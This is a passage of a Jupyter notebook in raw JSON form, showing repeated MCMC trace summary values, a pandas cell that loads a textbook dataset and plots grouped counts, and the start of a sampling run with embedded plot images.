-0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " -1.031 -0.974 -0.943 -0.912 -0.859\n", " 0.948 1.006 1.036 1.069 1.124\n", " 0.948 1.006 1.036 1.069 1.124\n", "\n" ] } ], "source": [ "summary(trace[4000:])" ] }, { "cell_type": "code", "execution_count": 266, "metadata": { "collapsed": false }, "outputs": [ { "data": { "text/html": [ "<div>\n", "<table border=\"1\" class=\"dataframe\">\n", " <thead>\n", " <tr style=\"text-align: right;\">\n", " <th>y</th>\n", " <th>0</th>\n", " <th>1</th>\n", " <th>2</th>\n", " <th>3</th>\n", " <th>4</th>\n", " <th>5</th>\n", " <th>6</th>\n", " <th>7</th>\n", " <th>8</th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " <tr>\n", " <th>id</th>\n", " <td>1074</td>\n", " <td>691</td>\n", " <td>459</td>\n", " <td>137</td>\n", " <td>315</td>\n", " <td>192</td>\n", " <td>402</td>\n", " <td>830</td>\n", " <td>950</td>\n", " </tr>\n", " </tbody>\n", "</table>\n", "</div>" ], "text/plain": [ "y 0 1 2 3 4 5 6 7 8\n", "id 1074 691 459 137 315 192 402 830 950" ] }, "execution_count": 266, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\nAwx7SWrA/wEEEmrPrrcGRwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x12da5af90>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "data = pd.read_csv(\"http://hosho.ees.hokudai.ac.jp/~kubo/stat/iwanamibook/fig/hbm/data7a.csv\")\n", "\n", "plt.bar(range(9), data.groupby('y').sum().id)\n", "data.groupby('y').sum().T" ] }, { "cell_type": "code", "execution_count": null, "metadata": { "collapsed": true }, "outputs": [], "source": [ "plt.plot(y, 'o')" ] }, { "cell_type": "code", "execution_count": 267, "metadata": { "collapsed": true }, "outputs": [], "source": [ "Y = np.array(data.y)[:6]" ] }, { "cell_type": "code", "execution_count": 279, "metadata": { "collapsed": false }, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ " [-----------------100%-----------------] 1000 of 1000 complete in 3.9 sec" ] }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAA1kAAAGqCAYAAAD5mI6tAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXmcFdWV+L+nu9maxUZBcGETcUFFUETi2oomiMYlcWOy\nEc1vnIyaxJjRGDMjTCZmTKJjEpMJSYzESQLGJcZ9iz5xQQURNMoiKog7ArLTC31+f5x3qXrV9Zbu\nfmv3/X4+7/NeVd2qOnVfvVf33LOJquLxeDwej8fj8Xg8nvxQVWoBPB6Px+PxeDwej6cz4ZUsj8fj\n8Xg8Ho/H48kjXsnyeDwej8fj8Xg8njzilSyPx+PxeDwej8fjySNeyfJ4PB6Px+PxeDyePOKVLI/H\n4/F4PB6Px+PJI17J8ng8Ho/H4/F4PJ484pUsj6cAiMhVIvLbUsuRCyKSEJELSy2Hx+PxeIqDf0Z5\nPIWnptQCeDydEVX9Ua5tRWQ6MFJVv1Q4iTKiyZfH4/F4ugD+GeXxFB5vyfJ4KhwRqS61DB6Px+Px\nxOGfUZ6uileyPJ4cEZErReQdEdkoIktF5MQMbaeLyP8lPw8XkRYR+bKIrBKRNSLyveS2ycBVwHki\nsklEXkqu30VEbhaR95Ln/IGIVCW3TRORZ0TkBhH5GPiBiKwXkYNC5x8oIltFZICI9BeR+0TkIxFZ\nJyL3isheBewqj8fj8RQZ/4zyeMoLr2R5PDkgIvsDFwPjVbUf8GlgZYZd4lwbjgb2AyYB/yEi+6vq\nQ8C1wBxV7auq45JtZwGNwEhgXPJ8XwsdawLwBrA78J/AXcDU0PZzgYSqfgwIcDMwNPnaBtyU04V7\nPB6Pp+zxzyiPp/zwSpbHkxs7gB7AQSLSTVXfVtU3M7SXmHUzVLVBVV8GFgOHhtrubC8ig4BTgMtU\ndZuqrgFuBM4PHes9Vf2lqrao6nbgz5Ht/5Rch6quU9W/qup2Vd2MPTCPb8O1ezwej6e88c8oj6fM\n8IkvPJ4cUNUVIvItYDr2EHsY+Laqvt+Gw3wQ+rwV6JOm3TCgG/C+yM7nWhXwdqjN6sg+CaBWRCYA\nH2EPx78CiEgt8D/AZ4D+yfZ9RERU1QcTezweT4Xjn1EeT/nhLVkeT46o6mxVPRZ7wChwXabmbTl0\nZHk10ADspqr9k69dVPWQdPuo6g7gL5g7xlTgXlXdktx8OeYCMkFVd8FmCFNmJj0ej8dT2fhnlMdT\nXngly+PJARHZT0ROFJEe2MNlO+aekXaXNhz+A2C4J